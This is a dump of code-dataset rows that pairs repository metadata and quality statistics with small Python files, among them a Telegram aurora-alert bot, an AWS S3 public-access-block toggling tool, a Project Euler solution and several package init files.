| 0
| 0
| 1
| 0
| false
| 0
| 0.0625
| 0
| 0.0625
| 0.041667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
5ffe196a15c9ddb000ffef2c7459c21b78f66348
| 3,317
|
py
|
Python
|
sessioncontroller/telegram_bot.py
|
synteny/AuroraBot
|
179919e1e6cc5f24d9cf3e9295d0f043174a6169
|
[
"MIT"
] | 2
|
2015-11-27T11:08:24.000Z
|
2018-03-21T15:35:08.000Z
|
sessioncontroller/telegram_bot.py
|
synteny/AuroraBot
|
179919e1e6cc5f24d9cf3e9295d0f043174a6169
|
[
"MIT"
] | 2
|
2015-10-27T15:06:09.000Z
|
2015-10-28T12:53:12.000Z
|
sessioncontroller/telegram_bot.py
|
synteny/AuroraBot
|
179919e1e6cc5f24d9cf3e9295d0f043174a6169
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
import telegram
from auroramodel.AuroraModel import processUserLocation, registerModelStorage
from sessioncontroller.utils import get_kp_level
from settings import TELEGRAM_TOKEN
from pygeocoder import Geocoder
import pygeolib
from model import subscribe, unsubscribe
from utils import lat_lon_to_cell
bot = telegram.Bot(token=TELEGRAM_TOKEN)
commands = [
'/subscribe Санкт-Петербург',
'/unsubscribe'
]
botname = "telegram"
def geo_code(address):
try:
business_geocoder = Geocoder(None, 'MY_API_KEY')
results = business_geocoder.geocode(address)
return results.latitude, results.longitude
except pygeolib.GeocoderError:
return None
def reply(update, message):
bot.sendMessage(
chat_id=update.message.chat_id,
reply_to_message_id=update.message.message_id,
text=message,
)
def reply_by_chat_id(chat_id, message):
bot.sendMessage(
chat_id=chat_id,
text=message,
)
def main(sharedDict):
offset = 0
registerModelStorage(sharedDict)
while True:
try:
updates = bot.getUpdates(offset=offset+1)
except StandardError as e:
print(e)
try:
for update in updates:
text = update.message.text
text_split = text.split(' ', 1)
command, arguments = text_split[0], None
if len(text_split) > 1:
arguments = text_split[1]
if command == '/subscribe':
geo = geo_code(arguments)
if not geo and update.message.location:
geo = update.message.location.latitude, update.message.location.longitude
if geo is None:
reply(update, "Не удалось определить координаты места")
else:
geo_id = lat_lon_to_cell(geo[0], geo[1])
kp_level = get_kp_level(geo[0])
subscribe(update.message.chat_id, arguments, geo_id, kp_level, botname)
reply(update, """Вам будут приходить оповещения о вероятных сияниях в указанном месте.""")
bot.sendLocation(
chat_id=update.message.chat_id,
latitude=geo[0],
longitude=geo[1],
)
processUserLocation(geo_id, arguments, None, update.message.chat_id, botname)
elif command == '/unsubscribe':
unsubscribe(update.message.chat_id, botname)
reply(update, "Вы отписаны.")
elif command == '/start':
reply(update, \
"""Этот бот оповещает о предстоящих полярных сияниях в интересующем месте.
Задайте его командой /subscribe <местоположение или координаты>.
Вы можете отписаться от всех оповещений командой /unsubscribe.
""")
else:
reply(update, "Неизвестная комманда")
offset = update.update_id
except StandardError as e:
print(e)
if update is not None:
offset = update.update_id
if __name__ == '__main__':
print 'Press Ctrl+C to kill...'
main({})
| 3,317
| 3,317
| 0.58155
| 346
| 3,317
| 5.419075
| 0.358382
| 0.076267
| 0.045333
| 0.050667
| 0.109867
| 0.056533
| 0
| 0
| 0
| 0
| 0
| 0.005457
| 0.337052
| 3,317
| 1
| 3,317
| 3,317
| 0.847203
| 0.999096
| 0
| 0.2125
| 0
| 0
| 0.084381
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.1
| null | null | 0.0375
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
27012e147772bf2b6f50182c9868b155b444c0a3
| 38
|
py
|
Python
|
Tests/test.py
|
MarcPartensky/Python-2020
|
1a4ef2edfea6efb353249d5e32c06b230b293c62
|
[
"MIT"
] | 1
|
2020-09-02T10:41:49.000Z
|
2020-09-02T10:41:49.000Z
|
Tests/test.py
|
MarcPartensky/Python-2020
|
1a4ef2edfea6efb353249d5e32c06b230b293c62
|
[
"MIT"
] | null | null | null |
Tests/test.py
|
MarcPartensky/Python-2020
|
1a4ef2edfea6efb353249d5e32c06b230b293c62
|
[
"MIT"
] | null | null | null |
#! /usr/bin/python
print('salut mec')
| 12.666667
| 18
| 0.657895
| 6
| 38
| 4.166667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 38
| 2
| 19
| 19
| 0.735294
| 0.447368
| 0
| 0
| 0
| 0
| 0.45
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
2707de1f8d1c2499d097f0b06991aac7636125f4
| 3,887
|
py
|
Python
|
groundhogs_day/aws_s3.py
|
hunttom/groundhogs_day
|
9404708fd9f846140a08bc9e52c4629c4c82eb3b
|
[
"Apache-2.0"
] | 2
|
2021-04-04T15:42:08.000Z
|
2021-12-29T20:33:56.000Z
|
groundhogs_day/aws_s3.py
|
hunttom/groundhogs_day
|
9404708fd9f846140a08bc9e52c4629c4c82eb3b
|
[
"Apache-2.0"
] | null | null | null |
groundhogs_day/aws_s3.py
|
hunttom/groundhogs_day
|
9404708fd9f846140a08bc9e52c4629c4c82eb3b
|
[
"Apache-2.0"
] | null | null | null |
import boto3
import botocore
from progress.bar import IncrementalBar
from groundhogs_day import aws_list_helper, aws_creds_helper
def enable_s3_account_block(role, accounts_list):
"""
Function to enable AWS S3 Account-Level block
"""
print("\nEnabling AWS S3 Account Block")
print("==============================")
enable_s3_account_level_blocks(role, accounts_list)
def enable_s3_account_level_blocks(role, accounts_list):
"""
Subfunction for enabling AWS S3 Account-Level block
"""
completed_accounts = []
failed_accounts = []
bar = IncrementalBar('Processing Accounts:', max = len(accounts_list))
for account in accounts_list:
sts_credentials = aws_creds_helper.generate_cross_account_credentials(account['AccountId'], role)
account_session = aws_creds_helper.generate_cross_account_session(service='s3control',\
credentials=sts_credentials, region=None)
try:
s3_account_block = account_session.put_public_access_block(
AccountId=account['AccountId'],
PublicAccessBlockConfiguration={
'BlockPublicAcls': True,
'IgnorePublicAcls': True,
'BlockPublicPolicy': True,
'RestrictPublicBuckets': True
}
)
except botocore.exceptions.ClientError as e:
print(e.response['Error']['Message'])
failed_accounts.append(account['AccountId'])
else:
completed_accounts.append(account['AccountId'])
bar.next()
if len(completed_accounts) == len(accounts_list):
print("\n>> SUCCESS: Successfully set S3 Account-Level Blocks in all accounts")
else:
print("========================================================================")
print("ERROR: Failed to set S3 Account-Level Blocks for the following accounts:")
print("========================================================================")
for failed_account in failed_accounts:
print(f"- {failed_account}")
def disable_s3_account_block(role, accounts_list):
"""
Function to disable AWS S3 Account-Level block
"""
print("\nDisabling AWS S3 Account Block")
print("==============================")
disable_s3_account_level_blocks(role, accounts_list)
def disable_s3_account_level_blocks(role, accounts_list):
"""
Subfunction for disabling AWS S3 Account-Level block
"""
completed_accounts = []
failed_accounts = []
bar = IncrementalBar('Processing', max = len(accounts_list))
for account in accounts_list:
sts_credentials = aws_creds_helper.generate_cross_account_credentials(account['AccountId'], role)
account_session = aws_creds_helper.generate_cross_account_session(service='s3control', credentials=sts_credentials,
region=None)
try:
delete_response = account_session.delete_public_access_block(
AccountId=account['AccountId']
)
except botocore.exceptions.ClientError as e:
print(e.response['Error']['Message'])
failed_accounts.append(account['AccountId'])
raise e
else:
completed_accounts.append(account['AccountId'])
bar.next()
if len(completed_accounts) == len(accounts_list):
print("\n SUCCESS: Successfully disabled S3 Account-Level Blocks in all accounts")
else:
print("========================================================================")
print("ERROR: Failed to set S3 Account-Level Blocks for the following accounts:")
print("========================================================================")
for failed_account in failed_accounts:
print(f"- {failed_account}")
| 37.737864
| 123
| 0.594031
| 378
| 3,887
| 5.865079
| 0.214286
| 0.069012
| 0.075778
| 0.07217
| 0.828597
| 0.807397
| 0.745151
| 0.745151
| 0.662156
| 0.61705
| 0
| 0.006707
| 0.232827
| 3,887
| 102
| 124
| 38.107843
| 0.736754
| 0.050682
| 0
| 0.535211
| 0
| 0
| 0.260953
| 0.101681
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056338
| false
| 0
| 0.056338
| 0
| 0.112676
| 0.225352
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
27429511a9f5f6ef6eb8e3fbee7bec39f544724a
| 166
|
py
|
Python
|
torch_bsf/__init__.py
|
drumehiron/pytorch-bsf
|
c4f786aeb5d339bc31457b9f95886eab32758078
|
[
"MIT"
] | null | null | null |
torch_bsf/__init__.py
|
drumehiron/pytorch-bsf
|
c4f786aeb5d339bc31457b9f95886eab32758078
|
[
"MIT"
] | null | null | null |
torch_bsf/__init__.py
|
drumehiron/pytorch-bsf
|
c4f786aeb5d339bc31457b9f95886eab32758078
|
[
"MIT"
] | 1
|
2021-07-29T06:39:34.000Z
|
2021-07-29T06:39:34.000Z
|
from torch_bsf.bezier_simplex import BezierSimplex, BezierSimplexDataModule, fit
__version__ = "0.0.1"
__all__ = ["BezierSimplex", "BezierSimplexDataModule", "fit"]
| 33.2
| 80
| 0.795181
| 17
| 166
| 7.176471
| 0.764706
| 0.590164
| 0.639344
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019868
| 0.090361
| 166
| 4
| 81
| 41.5
| 0.788079
| 0
| 0
| 0
| 0
| 0
| 0.26506
| 0.138554
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
275ae6ec7f2ebce563d689361cb2196ff7fc4982
| 56
|
py
|
Python
|
handlers/decorators/__init__.py
|
kawatapw/kuriso
|
a24baa12ccfdaab7cd0772985a1ada5a6a09f0d7
|
[
"MIT"
] | 6
|
2021-03-07T20:14:29.000Z
|
2022-03-10T20:28:20.000Z
|
handlers/decorators/__init__.py
|
kawatapw/kuriso
|
a24baa12ccfdaab7cd0772985a1ada5a6a09f0d7
|
[
"MIT"
] | 3
|
2021-04-20T17:18:58.000Z
|
2022-03-28T18:17:35.000Z
|
handlers/decorators/__init__.py
|
kawatapw/kuriso
|
a24baa12ccfdaab7cd0772985a1ada5a6a09f0d7
|
[
"MIT"
] | 4
|
2021-03-30T12:55:07.000Z
|
2022-03-10T09:01:16.000Z
|
from .event import OsuEvent
from .http import HttpEvent
| 18.666667
| 27
| 0.821429
| 8
| 56
| 5.75
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 56
| 2
| 28
| 28
| 0.958333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
278474afbe2803a68eb0f1ec167248f5b4582aa2
| 33
|
py
|
Python
|
django_middleware_filter/__init__.py
|
winrey/django-middleware-filter
|
2ce7124f297ed62b2d8934ca5b621194ffd66b77
|
[
"MIT"
] | null | null | null |
django_middleware_filter/__init__.py
|
winrey/django-middleware-filter
|
2ce7124f297ed62b2d8934ca5b621194ffd66b77
|
[
"MIT"
] | null | null | null |
django_middleware_filter/__init__.py
|
winrey/django-middleware-filter
|
2ce7124f297ed62b2d8934ca5b621194ffd66b77
|
[
"MIT"
] | null | null | null |
name = "django_middleware_filter"
| 33
| 33
| 0.848485
| 4
| 33
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.060606
| 33
| 1
| 33
| 33
| 0.83871
| 0
| 0
| 0
| 0
| 0
| 0.705882
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
27ce77dc2582ab992efa40662441bd08e545b52d
| 148
|
py
|
Python
|
python/p097.py
|
wephy/project-euler
|
cc4824478282d3e1514a1bf7a1821b938db5bfcb
|
[
"MIT"
] | null | null | null |
python/p097.py
|
wephy/project-euler
|
cc4824478282d3e1514a1bf7a1821b938db5bfcb
|
[
"MIT"
] | 1
|
2021-06-07T19:03:35.000Z
|
2021-06-07T19:03:35.000Z
|
python/p097.py
|
wephy/project-euler
|
cc4824478282d3e1514a1bf7a1821b938db5bfcb
|
[
"MIT"
] | null | null | null |
# Large non-Mersenne prime
def solve():
return (28433 * pow(2, 7830457, 10**10) + 1) % 10**10
if __name__ == "__main__":
print(solve())
| 14.8
| 57
| 0.594595
| 21
| 148
| 3.809524
| 0.809524
| 0.1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.191304
| 0.222973
| 148
| 9
| 58
| 16.444444
| 0.504348
| 0.162162
| 0
| 0
| 0
| 0
| 0.065574
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0
| 0.25
| 0.5
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
|
0
| 5
|
27f980d828bffaa036fe72cb1de2bcddb100479d
| 217
|
py
|
Python
|
Task1F.py
|
cued-ia-computing/flood-og288-skc54
|
91578acac401e90a30822bf22e28f53613ee8aa0
|
[
"MIT"
] | null | null | null |
Task1F.py
|
cued-ia-computing/flood-og288-skc54
|
91578acac401e90a30822bf22e28f53613ee8aa0
|
[
"MIT"
] | null | null | null |
Task1F.py
|
cued-ia-computing/flood-og288-skc54
|
91578acac401e90a30822bf22e28f53613ee8aa0
|
[
"MIT"
] | null | null | null |
from floodsystem.station import inconsistent_typical_range_stations
from floodsystem.stationdata import build_station_list
names = inconsistent_typical_range_stations(build_station_list())
names.sort()
print(names)
| 27.125
| 67
| 0.875576
| 27
| 217
| 6.666667
| 0.518519
| 0.166667
| 0.266667
| 0.355556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.069124
| 217
| 7
| 68
| 31
| 0.891089
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0.2
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
fd7a7bbfbb9ebec3477d335f0e2029f08e4d61ec
| 56
|
py
|
Python
|
src/constellix/domains/record/__init__.py
|
aperim/python-constellix
|
11cb19fce5cc00aefd14f8ac6bf63dc2f98731ae
|
[
"CC0-1.0"
] | null | null | null |
src/constellix/domains/record/__init__.py
|
aperim/python-constellix
|
11cb19fce5cc00aefd14f8ac6bf63dc2f98731ae
|
[
"CC0-1.0"
] | null | null | null |
src/constellix/domains/record/__init__.py
|
aperim/python-constellix
|
11cb19fce5cc00aefd14f8ac6bf63dc2f98731ae
|
[
"CC0-1.0"
] | null | null | null |
"""Domain Records"""
from .record import DomainRecords
| 14
| 33
| 0.75
| 6
| 56
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 56
| 3
| 34
| 18.666667
| 0.857143
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.